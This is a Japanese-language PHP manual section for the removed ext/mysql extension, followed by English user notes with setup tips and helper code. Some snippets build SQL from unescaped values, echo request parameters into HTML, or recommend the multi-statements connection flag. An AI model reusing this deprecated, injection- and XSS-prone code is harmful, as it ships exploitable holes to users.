Added the "PHPIniDir xxx"" to the "httpd.conf" apache config. file, where xxx is the path to the folder where the "php.ini" file is located, and make sure its the same.

Be warned, that this fixes, may help or not, for your installation, since there are many ways to configure the same thing (to solve a problem).
Steve in Weston-Super-Mare 27-Jul-2011 10:55
I had problems when moving from a version of PHP that used the isapi dll to the fast cgi version. The script to register the script maps compained that there was already a script map in place.

I went to the IIS control panel, right clicked on websites and removed the php association in the Home Directory | Configuration screen.

However, the fastcgi script still complained about existing script map. Finally I tracked it down, I had to right click on Default Web Site and clear out the php mappings from there too.

Then it all worked, except that for some strange reason, the php.ini file that gets picked up is the one from my old PHP directory, not the latest upgrade one. But this can be detected by running phpinfo which shows the loaded php.ini file so I knew which one to amend with the fastcgi options.

Bit of a hassle to figure it all out but it does work in the end.
o dot kochetilov at gmail dot com 30-Apr-2011 12:39
Please note that libmySQL.dll in MySQL bin directory should be renamed in order to use right library (that comes with PHP).
buzzr515 at gmx dot de 03-Sep-2010 09:13
i've experienced a similar (if not the same) problem.

to enable the mysql_... and mysqli_... funtionality, i opened the php.ini file to uncomment the following lines:
;extension=php_mysql.dll
;extension=php_mysqli.dll
;extension=php_pdo_mysql.dll

but phpinfo() still stated that no mysql extensions were loaded.
i tried the fixes and suggestions above with no success.
so i invoked the windows shell and typed ("Path" environment variable set to the PHP & MySQL directories):
php.exe -m

this returned the following error: "PHP Startup: Unable to load dynamic library 'C:\php5\php_mysql.dll' - Module not found."

this told me that PHP didn't recognize what i thought was the extensions directory. it searched all other places first (sys-dir, workin'-dir, the MySQL "bin" dir because of the "Path" variable set, and even a curious directory "C:\php5" that doesn't even exist on my mashine) but not the expected "ext" directory.

so the fix was to go to "php.ini" again and uncomment the following line:
;extension_dir="ext"

this fixed it for me.
so if module loading is done improperly, first of all check the "Path" environment variable and the "php.ini" file - especially the "extension_dir" config value - and check if all values are set to their correct values.

hope this helps any1.

----------------------------------------
OS: Win7 Ultimate x86
Apache v2.2.16
PHP v5.3.3
MySQL v5.1.50
heneryville at gmail dot com 30-Apr-2010 01:32
I believe that this is happens especially with Windows 7.  As far I I've been able to tell XP and Vista come with this line enabled, but windows 7 comments it out and notes that the DNS will handle this.
amatsak at gmail dot com 22-Jun-2009 02:46
I have experienced exactly the same problem as flo_stefi at yahoo dot com below. It appears that instead of loading libmysql.dll that came with the PHP package, the PHP engine was loading libmySQL.dll located in MySQL's bin directory, which was causing Apache to crash.

I fixed the problem by renaming MySQL's libmySQL.dll into libmySQL_renamed.dll. Now PHP loads the library that came with its package and everything works fine.
jonnus 12-May-2008 05:42
In windows systems, the same error "unable to load dynamic library php_mysql.dll" will happen, if there's an old version of the file in the "windows\system32" folder.
Either remove it or update it.


実行時設定

php.ini の設定により動作が変化します。

MySQL 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
mysql.allow_local_infile | "1" | PHP_INI_SYSTEM |
mysql.allow_persistent | "1" | PHP_INI_SYSTEM |
mysql.max_persistent | "-1" | PHP_INI_SYSTEM |
mysql.max_links | "-1" | PHP_INI_SYSTEM |
mysql.trace_mode | "0" | PHP_INI_ALL |
mysql.default_port | NULL | PHP_INI_ALL |
mysql.default_socket | NULL | PHP_INI_ALL |
mysql.default_host | NULL | PHP_INI_ALL |
mysql.default_user | NULL | PHP_INI_ALL |
mysql.default_password | NULL | PHP_INI_ALL |
mysql.connect_timeout | "60" | PHP_INI_ALL |
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

mysql.allow_local_infile int

PHP 側から、LOAD DATA 文によるローカルファイルへのアクセスを許可する。

mysql.allow_persistent bool

MySQL への 持続的接続 を可能にするかどうか。

mysql.max_persistent int

プロセス毎の持続的 MySQL 接続の最大数。

mysql.max_links int

持続的接続を含むプロセス毎の MySQL 接続の最大数。

mysql.trace_mode bool

トレースモード。mysql.trace_mode が有効の場合、 テーブル/インデックスのスキャン時の警告・結果セットの未開放・SQL エラー などが画面に表示されます（PHP 4.3.0 以降で使用可能です）。

mysql.default_port string

他のポートが指定されない場合、データベースサーバー接続時に使用される デフォルトの TCP ポート番号。デフォルトが指定されない場合は、 環境変数 MYSQL_TCP_PORT・ /etc/services の mysql-tcpエントリ・コンパイル時の MYSQL_PORT 定数の順番でポートが取得されます。 Win32 では、MYSQL_PORT 定数のみが使用されます。

mysql.default_socket string

他にソケット名が指定されない場合、ローカルなデータベースサーバーに 接続する時のデフォルトのソケット名。

mysql.default_host string

他のサーバー名が指定されない場合に、データベースサーバーへの接続時に 使用されるデフォルトのサーバー名。 SQL セーフモード では適用されません。

mysql.default_user string

他のユーザー名が指定されない場合に、データベースサーバーへの接続時に 使用されるデフォルトのユーザー名。 SQL セーフモード では適用されません。

mysql.default_password string

他のパスワードが指定されない場合に、データベースサーバーへの接続時に 使用されるデフォルトのパスワード。 SQL セーフモード では適用されません。

mysql.connect_timeout int

接続の有効時間(単位:秒)。Linux では、この有効時間はサーバーからの 最初の応答の待ち時間としても使用されます。

User Contributed Notes

frodenius 23-Aug-2008 10:19
you can also easily work around the issue if you simply create a symbolic link to the socket by executing the following in terminal:

sudo mkdir /var/mysql
sudo ln -s /tmp/mysql.sock /var/mysql/mysql.sock

[EDIT BY danbrown AT php DOT net: Typo spotted by (asterizk AT me DOT com) - "should probably say 'sudo ln -s ...'"]
JM 26-Apr-2008 09:14
mysql_default_socket can take a filename as the argument.  By default--at least with the default configuration provided by Mac OS X 10.5--it is /var/mysql/mysql.sock.  If necessary, you can edit your php.ini to change it to /tmp/mysql.sock.


リソース型

MySQL モジュールでは、2 種類のリソース型が使用されています。 最初のリソースはデータベース接続のリンク ID で、2 番目のリソースは クエリ結果を保持するリソースです。

User Contributed Notes

There are no user contributed notes for this page.


変更履歴

この拡張モジュールのクラス/関数/メソッドには次のような変更がありました。

ext/mysql 拡張モジュールの変更履歴

ext/mysql 拡張モジュールの変更履歴をまとめました。

ext/mysql の全体的な変更点

ext/mysql 拡張モジュールの全体的な変更点を、以下にまとめます。

バージョン | 説明
7.0.0 | この拡張モジュールは PHP 本体から削除されました。詳細は どの API を使うか を参照ください。
5.5.0 | この拡張モジュールは非推奨になりました。 mysql_connect() や mysql_pconnect() を使って MySQL データベースに接続したり その他の mysql_* 系関数で暗黙のうちに接続しようとしたりすると、 E_DEPRECATED エラーが発生します。
5.5.0 | 廃止予定の関数やエイリアスを使うと E_DEPRECATED が発生するようになりました。その対象となる関数は、次のとおりです。 mysql(), mysql_fieldname(), mysql_fieldtable(), mysql_fieldlen(), mysql_fieldtype(), mysql_fieldflags(), mysql_selectdb(), mysql_createdb(), mysql_dropdb(), mysql_freeresult(), mysql_numfields(), mysql_numrows(), mysql_listdbs(), mysql_listtables(), mysql_listfields(), mysql_db_name(), mysql_dbname(), mysql_tablename(), and mysql_table_name().

既存の関数の変更点

ext/mysql の関数に対する変更点を、以下にまとめます。

Version Function Description

User Contributed Notes

Gianluca 16-Mar-2016 10:01
In these wrappers all mysql and ereg functions are rewritten using mysqli and pcre
https://sourceforge.net/projects/mysqlwithmysqli/
https://sourceforge.net/projects/ereg-using-pcre/


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

mysql_connect() や mysql_pconnect() で追加のクライアントフラグを 指定することができます。以下の定数が定義されています。

MySQL クライアント定数
定数 | 説明
MYSQL_CLIENT_COMPRESS | 圧縮プロトコルを利用します。
MYSQL_CLIENT_IGNORE_SPACE | 関数名の後のスペースを許可します。
MYSQL_CLIENT_INTERACTIVE | interactive_timeout で指定された秒数（wait_timeout のかわり） の無通信が続くまで接続を閉じません。
MYSQL_CLIENT_SSL | SSL による暗号化を使用します。このフラグは、バージョン 4.x 以降の MySQL クライアントライブラリを利用している場合にのみ有効です。 PHP 4 や、Windows 版の PHP 5 にバンドルされているのは、バージョン 3.23.x のライブラリです。

mysql_fetch_array() 関数は、結果の配列の形式を 指定するための定数を使用します。以下の定数が定義されています。

MySQL フェッチ定数
定数 | 説明
MYSQL_ASSOC | カラムは、フィールド名を添字とする配列形式で返されます。
MYSQL_BOTH | カラムは、数値の添字とフィールド名の添字のどちらでもアクセスできる 配列形式で返されます。
MYSQL_NUM | カラムは、数値の添字を持つ配列形式で返されます。添字は 0 からはじまり、 結果の最初のフィールドです。

User Contributed Notes

frak at gingerhq dot net 30-Jun-2011 11:06
If you're using stored procedures and mysql_error() returns "PROCEDURE storedProcedureName can't return a result set in the given context", you need to pass an additional flag (CLIENT_MULTI_RESULTS) to mysql_connect() as such:
mysql_connect($hostname, $username, $password, true, 131072);

Some other sources say that you should use 65536. 65536 is actually the flag to allow multiple statements in a single mysql_query(), and is a security issue. The reason it allows you to receive results from stored procedures is because it implies 131072. To be safe, use 131072 over 65536.
pcdinh at phpvietnam dot net 13-Feb-2010 12:54
Other client flags extracted from MySQL client source

#define CLIENT_LONG_PASSWORD 1 /* new more secure passwords */
#define CLIENT_FOUND_ROWS 2 /* Found instead of affected rows */
#define CLIENT_LONG_FLAG 4 /* Get all column flags */
#define CLIENT_CONNECT_WITH_DB 8 /* One can specify db on connect */
#define CLIENT_NO_SCHEMA 16 /* Don't allow database.table.column */
#define CLIENT_COMPRESS 32 /* Can use compression protocol */
#define CLIENT_ODBC 64 /* Odbc client */
#define CLIENT_LOCAL_FILES 128 /* Can use LOAD DATA LOCAL */
#define CLIENT_IGNORE_SPACE 256 /* Ignore spaces before '(' */
#define CLIENT_PROTOCOL_41 512 /* New 4.1 protocol */
#define CLIENT_INTERACTIVE 1024 /* This is an interactive client */
#define CLIENT_SSL 2048 /* Switch to SSL after handshake */
#define CLIENT_IGNORE_SIGPIPE 4096 /* IGNORE sigpipes */
#define CLIENT_TRANSACTIONS 8192 /* Client knows about transactions */
#define CLIENT_RESERVED 16384 /* Old flag for 4.1 protocol */
#define CLIENT_SECURE_CONNECTION 32768 /* New 4.1 authentication */
#define CLIENT_MULTI_STATEMENTS 65536 /* Enable/disable multi-stmt support */
#define CLIENT_MULTI_RESULTS 131072 /* Enable/disable multi-results */
#define CLIENT_REMEMBER_OPTIONS (((ulong) 1) << 31)
Contact at LinuxIntro dot com 27-Oct-2008 09:33
When you connect and expect to use a stored procedure,you must pass a special flag to MySQL via the connect command, otherwise you will not get the results returned, and it will result in this error:
PROCEDURE AlexGrim.GetStats_ForumCategories can't return a result set in the given context

To fix this, change you connection string, adding ",false,65536" as the last 2 fields:
$this->con = mysql_connect($this->h,$this->u,$this->p,false,65536);


例

目次

  • MySQL 拡張モジュールの概要を示す例

User Contributed Notes

There are no user contributed notes for this page.


MySQL 拡張モジュールの概要を示す例

以下は、MySQL データベースに接続し、クエリを実行し、結果レコードを 出力、接続を切断する例です。

例1 MySQL 拡張モジュールに関する例

<?php
// データベースに接続し、選択する
$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')
    or die('Could not connect: ' . mysql_error());
echo 'Connected successfully';
mysql_select_db('my_database') or die('Could not select database');

// SQL クエリを実行する
$query = 'SELECT * FROM my_table';
$result = mysql_query($query) or die('Query failed: ' . mysql_error());

// HTML に結果を出力する
echo "<table>\n";
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    echo "\t<tr>\n";
    foreach ($line as $col_value) {
        echo "\t\t<td>$col_value</td>\n";
    }
    echo "\t</tr>\n";
}
echo "</table>\n";

// 結果セットを開放する
mysql_free_result($result);

// 接続を閉じる
mysql_close($link);
?>

User Contributed Notes

zjrwjzzz at 163 dot com 13-Feb-2015 05:03
Be aware that if you are trying to foreach the associative array returned by mysql_fetch_array() with MYSQL_ASSOC or mysql_fetch_assoc(), you have to ensure the return value that is used in foreach structure is exactly a array rather than a FALSE value.

Or you might encounter the warning below:
    Warning: Invalid argument supplied for foreach()

Here is an example (assume that $result have already stored the return value from mysql_query()):

If you have some block of code like:

<?php

// Printing results in HTML
echo "<table>\n";
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    echo "\t<tr>\n";
    foreach ($line as $col_value) {
        echo "\t\t<td>$col_value</td>\n";
    }
    echo "\t</tr>\n";
}
echo "</table>\n";

?>

If this is the case, you should use the code below instead:

<?php

// Check ahead, before using it
if (mysql_num_rows($result) > 0) {
    // Printing results in HTML
    echo "<table>\n";
    while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
        echo "\t<tr>\n";
        foreach ($line as $col_value) {
            echo "\t\t<td>$col_value</td>\n";
        }
        echo "\t</tr>\n";
    }
    echo "</table>\n";
}

?>


MySQL 関数

注意

注意:

ほとんどの MySQL 関数は、link_identifier を 最後のパラメータとしてオプションで受け付けます。これを指定しなかった場合、 直近にオープンされた接続が使用されます。もし直近の接続が存在しない場合、 php.ini のデフォルトパラメータを使用して接続を確立しようとします。 この試行にも失敗した場合、関数は false を返します。

目次

  • mysql_affected_rows — 一番最近の操作で変更された行の数を得る
  • mysql_client_encoding — 文字セット名を返す
  • mysql_close — MySQL 接続を閉じる
  • mysql_connect — MySQL サーバーへの接続をオープンする
  • mysql_create_db — MySQL データベースを作成する
  • mysql_data_seek — 内部的な結果ポインタを移動する
  • mysql_db_name — mysql_list_dbs のコール結果からデータベース名を取得する
  • mysql_db_query — データベースを選択し、そこでクエリーを実行する
  • mysql_drop_db — MySQLデータベースを破棄(削除)する
  • mysql_errno — 直近の MySQL 処理からエラーメッセージのエラー番号を返す
  • mysql_error — 直近に実行された MySQL 操作のエラーメッセージを返す
  • mysql_escape_string — mysql_query で使用するために文字列をエスケープする
  • mysql_fetch_array — 連想配列、添字配列、またはその両方として結果の行を取得する
  • mysql_fetch_assoc — 連想配列として結果の行を取得する
  • mysql_fetch_field — 結果からカラム情報を取得し、オブジェクトとして返す
  • mysql_fetch_lengths — 結果における各出力の長さを得る
  • mysql_fetch_object — 結果の行をオブジェクトとして取得する
  • mysql_fetch_row — 結果を添字配列として取得する
  • mysql_field_flags — 結果において指定したフィールドのフラグを取得する
  • mysql_field_len — 指定したフィールドの長さを返す
  • mysql_field_name — 結果において指定したフィールド名を取得する
  • mysql_field_seek — 結果ポインタを指定したフィールドオフセットにセットする
  • mysql_field_table — 指定したフィールドが含まれるテーブルの名前を取得する
  • mysql_field_type — 結果において指定したフィールドの型を取得する
  • mysql_free_result — 結果保持用メモリを開放する
  • mysql_get_client_info — MySQL クライアント情報を取得する
  • mysql_get_host_info — MySQL ホスト情報を取得する
  • mysql_get_proto_info — MySQL プロトコル情報を取得する
  • mysql_get_server_info — MySQL サーバー情報を取得する
  • mysql_info — 直近のクエリについての情報を得る
  • mysql_insert_id — 直近のクエリで生成された ID を得る
  • mysql_list_dbs — MySQL サーバー上で利用可能なデータベースのリストを得る
  • mysql_list_fields — MySQL テーブルのフィールドのリストを得る
  • mysql_list_processes — MySQL プロセスのリストを得る
  • mysql_list_tables — MySQL データベース上のテーブルのリストを得る
  • mysql_num_fields — 結果におけるフィールドの数を得る
  • mysql_num_rows — 結果における行の数を得る
  • mysql_pconnect — MySQL サーバーへの持続的な接続をオープンする
  • mysql_ping — サーバーとの接続状況を調べ、接続されていない場合は再接続する
  • mysql_query — MySQL クエリを送信する
  • mysql_real_escape_string — SQL 文中で用いる文字列の特殊文字をエスケープする
  • mysql_result — 結果データを得る
  • mysql_select_db — MySQL データベースを選択する
  • mysql_set_charset — クライアントの文字セットを設定する
  • mysql_stat — 現在のシステムの状態を取得する
  • mysql_tablename — フィールドのテーブル名を得る
  • mysql_thread_id — カレントのスレッド ID を返す
  • mysql_unbuffered_query — MySQL に SQL クエリを送信するが、結果に対してのフェッチやバッファリングは行わない

User Contributed Notes

Vladimir Kosmala 27-Oct-2010 07:57
Here a mysql helper containing the main functions of the mysql extension. It's easy to understand for a beginner and quite useful because queries are secure. It understands what you want, just write your sql query. I called it mysql_magic.

<?php
// Examples
$nb_affected = mysql_magic('delete from users');
$nb = mysql_magic('select count(*) from users');
$one_row = mysql_magic('select * from users limit 1');
$all_rows = mysql_magic('select * from users where name = ?', 'John');
$id = mysql_magic('insert into users(name,rank) values(?,?)', 'Vincent', 3);
?>

<?php
// Usage: mysql_magic($query [, $arg...]);
function mysql_magic()
{
    global $dblink, $sqlhost, $sqluser, $sqlpass, $sqlbase;
    $narg = func_num_args();
    $args = func_get_args();

    if (!$dblink)
    {
        $dblink = mysql_connect( $sqlhost, $sqluser, $sqlpass );
        mysql_select_db( $sqlbase, $dblink );
    }

    $req_sql = array_shift($args);
    $req_args = $args;

    $req_query = mysql_bind($req_sql, $req_args);
    $req_result = mysql_query($req_query);

    if (!$req_result)
    {
        trigger_error(mysql_error());
        return false;
    }

    if (startsWith($req_sql, 'delete') || startsWith($req_sql, 'update'))
    {
        return mysql_affected_rows(); // -1 || N
    }
    else if (startsWith($req_sql, 'insert'))
    {
        return mysql_insert_id(); // ID || 0 || FALSE
    }
    else if (endsWith($req_sql, 'limit 1'))
    {
        return mysql_fetch_assoc($req_result); // [] || FALSE
    }
    else if (startsWith($req_sql, 'select count(*)'))
    {
        $line = mysql_fetch_row($req_result);
        return $line[0]; // N
    }
    else
    {
        return mysql_fetch_all($req_result); // [][]
    }
}

function mysql_bind($sql, $values=array())
{
    foreach ($values as &$value) $value = mysql_real_escape_string($value);
    $sql = vsprintf( str_replace('?', "'%s'", $sql), $values);
    return $sql;
}

function mysql_fetch_all($result)
{
    $resultArray = array();
    while(($resultArray[] = mysql_fetch_assoc($result)) || array_pop($resultArray));
    return $resultArray;
}

function startsWith($haystack,$needle,$case=false) {
    if($case){return (strcmp(substr($haystack, 0, strlen($needle)),$needle)===0);}
    return (strcasecmp(substr($haystack, 0, strlen($needle)),$needle)===0);
}

function endsWith($haystack,$needle,$case=false) {
    if($case){return (strcmp(substr($haystack, strlen($haystack) - strlen($needle)),$needle)===0);}
    return (strcasecmp(substr($haystack, strlen($haystack) - strlen($needle)),$needle)===0);
}
?>

Don't forget to set $sqlhost, $sqluser, $sqlpass and $sqlbase.

With help of :
mysql_bind : http://php.net/manual/en/function.mysql-real-escape-string.php#96391
mysql_fetch_all : http://php.net/manual/en/function.mysql-fetch-assoc.php#90030

trigger_error may be enhanced with this tip : http://php.net/manual/en/function.trigger-error.php#98910
joachimb at gmail dot com 16-May-2008 02:28
Lazy Man's Logging:

<?php
  /// Creates a table called $table as (id, when, message) if none such exists, and inserts a row with $message in it.
  /// If no connection details are given, it uses the current database connection. Same goes for $database and $when.
  ///
  /// @returns TRUE on success or FALSE on failure.
  ///
  /// @example mysql_put_contents("orders", "I CAN HAZ CHEEZBURGER?", "mysite", NULL, "127.0.0.1:3306", "mysite_user", "secret") or die(mysql_error());
  /// @example mysql_put_contents("guestbook", "Longcat says: I'm loooooooooooong") or die("Errorz!");
  function mysql_put_contents($table, $message, $database = NULL, $when = NULL, $host = NULL, $user = NULL, $pass = NULL) {
    if($host)
        mysql_connect($host, $user, $pass);
      if($database)
        mysql_select_db($database);

      $qry = "CREATE TABLE IF NOT EXISTS `$table` (
             `id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
             `when` TIMESTAMP DEFAULT NOW(),
             `message` TEXT NOT NULL
           );";
    $result = mysql_query($qry);
    if($result === FALSE)
      return FALSE;

    $qry = "INSERT INTO `$table` VALUES(NULL, ".($when ? $when : 'NULL').", '".mysql_real_escape_string($message)."');";

    $result = mysql_query($qry);
    if($result === FALSE)
      return FALSE;

    return TRUE;
  }

?>
dhirendrak at yahoo dot com 04-Feb-2008 11:03
<?php
# Created by dhirendra can be reached at dhirendrak at yahoo dot com
# This script is created to check the data difference between two tables
# when the structure of both tables are same.
# Limitation :
# 1) Structure of both tables should be same.
# 2) Name of both table should be different but if same than obviously
# second table should be if different database.
# 3) If use two database than both database permission should be same
# as i am using aliases to get the information.
#
# USES::
# 1) This may be useful when you did some changes in your existing
# script and you expect the certain output. So with the help of this
#    function you may compare the impact due to your changes in script.
#
#

$host="";        # host name or ip address
$user="";            # database user name
$pass="";    # database password
$database="";        # dateabase name with which you want to connect

# get connection with mysql
$dblink = @mysql_connect($host,$user,$pass);

# select and open database
mysql_select_db($database,$dblink);

$db1="< your db1 >"; // first database
// second database if database are same for both tables than use the same as db1
$db2="< your db2 >";
$table1="< your table1 >"; // first table
// second table if database is same for both tables than table name
# must be different but fields name are same and order of the fields are same.

$table2="< your table2 >";

// function starts here
function table_data_difference($first,$second)
{
    global $dblink;
    $sql1 = "SHOW FIELDS FROM $first";
    $result = mysql_query($sql1,$dblink) or die("Having error in execution 1 ==".mysql_error());

    while($row = mysql_fetch_object($result))
    {
        $from_fields[]=$row->Field;
    }

    $sql="select * from $first";
    $res=mysql_query($sql,$dblink) or die("Having error in execution 2==".mysql_error());
    $j=1;
    while($row=mysql_fetch_array($res))
    {

        $num=count($from_fields);

        $sql_next="select $second.* from $second where";

        for($i=0;$i < $num;$i++)
        {
            $sql_next=$sql_next." ".$second.".".$from_fields[$i]."='".$row[$from_fields[$i]]."' and ";
        }

        $sql_next=substr($sql_next,0,strlen($sql_next)-5);

        $res_next=mysql_query($sql_next,$dblink) or die("Having error in execution 3==".mysql_error());
        $num1=mysql_num_rows($res_next);
        if($num1==0)
        {
            for($i=0;$i < count($from_fields);$i++)
            {
                $val=$val."<br>".$from_fields[$i]."=".$row[$from_fields[$i]];
            }
            // Display the record which are not matched.
            echo "<br>\n".$j.".".$val;
            echo "<br>-----------------------------------------------------";
            $j++;
        }

    }

}

$first=$db1.'.'.$table1;
$second=$db2.'.'.$table2;

table_data_difference($first,$second);

?>
matiyahoo-publico at yhoo dot com dot ar 17-Nov-2007 08:26
David:

In this line:

$query = "SELECT username FROM users WHERE username REGEXP '$username[0-9*]'";

PHP may read $username[, *including* the open square bracket, and may think you are trying to get into an array.

You should use this instead:

$query = "SELECT username FROM users WHERE username REGEXP '${username}[0-9*]'";

Or maybe this:

$query = "SELECT username FROM users WHERE username REGEXP '$username" . "[0-9*]'";
david at kiwi dot com 09-Nov-2007 08:13
I am wanting to increment usernames which are to be alphabetic characters A-Z or a-z and if someone uses "abc" it will automatically be given "abc1" and the next applicant to apply for that same username will automatically be given "abc2", the next "abc3" and so on. If I enter the following into MySQL;

SELECT username FROM users WHERE username REGEXP 'abc[0-9*]';

the result is

abc1
abc2
abc3

I have been given the following script from another forum but it does not work;

<?php
$username = 'abc';
$query = "SELECT username FROM users WHERE username LIKE '$username%'";
$res = mysql_query($query);
while($row = mysql_fetch_assoc($res)) {
   $n = str_replace($username, '', $row['username']);
   if ($old_n+1!=$n) {
      $new_user = $username . ($old_n+1);
      break;
   }
}
?>

In addition to the script not working the "LIKE" function would not be suitable because if a username was applied as "blue" it would pick up usernames "blue1" and "bluebird1" therefore it appears as if "REGEXP '$username[0-9*]' is the only or correct option.

I have tried the REGEXP option in association with the balance of the code but it appears as if PHP will not interact with the "[" and "]" in the following;

$query = "SELECT username FROM users WHERE username REGEXP '$username[0-9*]'";
SID TRIVEDI 07-Nov-2007 04:33
<?php
/*
MySQL (Community) Server Installation on 32-bit Windows XP running Apache

On Windows, the recommended way to run MySQL is to install it as a Windows service, whereby MySQL starts and stops automatically when Windows starts and stops. A MySQL server installed as a service can also be controlled from the command line commands, or with the graphical Services utility like phpMyAdmin.

PHP ---> MySQL CONNECTORS (php_mysql.dll and php_mysqli.dll as extensions)
MySQL provides the mysql and mysqli extensions for the Windows operating system on http://dev.mysql.com/downloads/connector/php/ for MySQL version 4.1.16 and higher, MySQL 5.0.18, and MySQL 5.1. As with enabling any PHP extension in php.ini (such as php_mysql.dll), the PHP directive extension_dir should be set to the directory where the PHP extensions are located.

MySQL is no longer enabled by default, so the php_mysql.dll DLL must be enabled inside of php.ini. Also, PHP needs access to the MySQL client library. A file named libmysql.dll is included in the Windows PHP distribution and in order for PHP to talk to MySQL this file needs to be available to the Windows systems PATH.

Following PHP Script is useful to test PHP connection with MySQL.
*/

//$connect = mysql_connect("Your Host Name", "MySQL root directory", 'MySQL password, if any');
//$connect = mysql_connect("Host Name or Address - 127.0.0.1", "root", 'password');
$connect = mysql_connect("localhost", "root", 'password');
if ($connect){
echo "Congratulations!\n<br>";
echo "Successfully connected to MySQL database server.\n<br>";
}else{
$error = mysql_error();
echo "Could not connect to the database. Error = $error.\n<br>";
exit();
}

// Closing connection
$close = mysql_close($connect);
if ($close){
echo "\n<br>";
echo "Now closing the connection...\n<br>";
echo "MySQL connection closed successfully as well.\n<br>";
}else{
echo "There's a problem in closing MySQL connection.\n<br>";
}
exit();
?>
rad14701 at yahoo dot com 14-Oct-2007 12:01
@Amanda 12-Oct-2007 09:58

I almost had to ask myself if this was a real question... If the MySQL server rejects the connection attempt then, yes, MySQL would be able to send back an error to PHP... And if PHP can't access the target MySQL server at all then it is also smart enough to issue the appropriate error all by itself...
arnold_dba 13-Oct-2007 06:36
Also, to secure MySQL data and to be able to comply with PCI standards, you should encrypt the data. There are many ways to do it. For hackers, you can use dm-crypt (www.saout.de/misc/dm-crypt) tool. It is basically used to encrypt the whole partition. If you want a sophisticated solution go with Security-GENERAL for MySQL from packet general (www.packetgeneral.com)
On windows, you can use disk encryption feature provided by windows itself or tool like trucrypt (www.truecrypt.org)
DuiMDog 02-Sep-2007 03:19
On 11-Apr-2007 admin at mihalism dot com posted an 'easy to use MySql-class'.
In my opinion there is a bug in the get_affected_rows-function. It refers to query-id, but  it should refer to connect-id instead.

The corrected function should be:
    function get_affected_rows($connect_id = ""){
            if($connect_id == NULL){
                $return = mysql_affected_rows($this->connect_id);
            }else{
                $return = mysql_affected_rows($connect_id);
            }
            if(!$return){
                $this->error();
            }else{
                return $return;
            }
        }
atk2 at hotmail dot com 14-Jun-2007 08:56
After finally getting IIS, PHP, and MySQL on a new Windows XP machine, I decided to write the steps I took so you can see how it was done: http://www.atksolutions.com/articles/install_php_mysql_iis.html

Hope this helps.
Nobody Special 14-Apr-2007 11:20
This PHP5-only class is used so that $db isn't passed. Kudos to arjen at queek dot nl for example.

<?php
class SQL {
 private $db;
 public function __construct($host="localhost",$user="root",$pass="",$db="") {
  $this->db = @mysql_connect($host, $user, $pass);
  if(!$this->db) die(@mysql_error());
  if($db != "") $dbs = @mysql_select_db($db);
  if(!$dbs) die(@mysql_error());
 }
 public function __destruct() {
  @mysql_close($db);
 }
 public function __call($function, $arguments) {
  array_push($arguments, $this->db);
  $return = call_user_func_array("mysql_".$function, $arguments);
  if(!$return) die(@mysql_error());
 }
}

$db = new SQL();
$query = $db->query("SELECT * FROM this_table WHERE my_variable='1'");
$fetch = $db->fetch_array($query);
print_r($fetch);
?>
mega-squall at caramail dot com 13-Apr-2007 02:35
For Windows users, please note:

If apache is installed as a service, and you change PATH variable so it can reach libmysql.dll, you will need to reboot your machine in order to have changes applied.
admin at mihalism dot com 11-Apr-2007 07:48
Heres a easy to use MySQL class for any website

<?php
    class mysql_db{
        //+======================================================+
        function sql_connect($sqlserver, $sqluser, $sqlpassword, $database){
            $this->connect_id = mysql_connect($sqlserver, $sqluser, $sqlpassword);
            if($this->connect_id){
                if (mysql_select_db($database)){
                    return $this->connect_id;
                }else{
                    return $this->error();
                }
            }else{
                return $this->error();
            }
        }
        //+======================================================+
        function error(){
            if(mysql_error() != ''){
                echo '<b>MySQL Error</b>: '.mysql_error().'<br/>';
            }
        }
        //+======================================================+
        function query($query){
            if ($query != NULL){
                $this->query_result = mysql_query($query, $this->connect_id);
                if(!$this->query_result){
                    return $this->error();
                }else{
                    return $this->query_result;
                }
            }else{
                return '<b>MySQL Error</b>: Empty Query!';
            }
        }
        //+======================================================+
        function get_num_rows($query_id = ""){
            if($query_id == NULL){
                $return = mysql_num_rows($this->query_result);
            }else{
                $return = mysql_num_rows($query_id);
            }
            if(!$return){
                $this->error();
            }else{
                return $return;
            }
        }
        //+======================================================+
        function fetch_row($query_id = ""){
            if($query_id == NULL){
                $return = mysql_fetch_array($this->query_result);
            }else{
                $return = mysql_fetch_array($query_id);
            }
            if(!$return){
                $this->error();
            }else{
                return $return;
            }
        }
        //+======================================================+
        function get_affected_rows($query_id = ""){
            if($query_id == NULL){
                $return = mysql_affected_rows($this->query_result);
            }else{
                $return = mysql_affected_rows($query_id);
            }
            if(!$return){
                $this->error();
            }else{
                return $return;
            }
        }
        //+======================================================+
        function sql_close(){
            if($this->connect_id){
                return mysql_close($this->connect_id);
            }
        }
        //+======================================================+
    }

    /* Example */

    $DB = new mysql_db();
    $DB->sql_connect('sql_host', 'sql_user', 'sql_password', 'sql_database_name');
    $DB->query("SELECT * FROM `members`");
    $DB->sql_close();
?>
davesteinb at yahoo dot com 13-Aug-2006 03:32
I made this function to reduce DB calls. You can store Mysql results in a session var and sort the results on any column. Might work nice in an AJAX app.

<?

function mysql_sort($results, $sort_field, $dir="ASC") {
    $temp_array = array();
    $i=0;
    foreach ($results as $res) {
        $temp_array[$i] = $res[$sort_field];
        $i++;
    }
    if ($dir=="ASC") {
        asort($temp_array);
    } else {
        arsort($temp_array);
    }

    $new_results = array();
    $i=0;
    foreach($temp_array as $k => $v) {
        $new_results[$i] = $results[$k];
        $i++;
    }
    ksort($new_results);
    return $new_results;

}

//use
if (count($_SESSION["res"])==0) {
    $_SESSION["res"] = [GET DATABASE RESULTS HOWEVER YOU MAY]
}

$_SESSION["res"] = mysql_sort($_SESSION["res"], $_REQUEST["sort"], $_REQUEST["dir"]);

?>
<table>
<tr>
  <td><a href="page.php?sort=f_name&dir=<? echo ($_REQUEST["dir"]=="ASC") ? "DESC":"ASC"; ?>">First</a></td>
  <td><a href="page.php?sort=l_name&dir=<? echo ($_REQUEST["dir"]=="ASC") ? "DESC":"ASC"; ?>">Last</a></td>
</tr>

<? foreach ($_SESSION["res"] as $r) {?>
<tr>
  <td><?=$r["f_name"]?></td>
  <td><?=$r["l_name"]?></td>
</tr>
<? } ?>
</table>
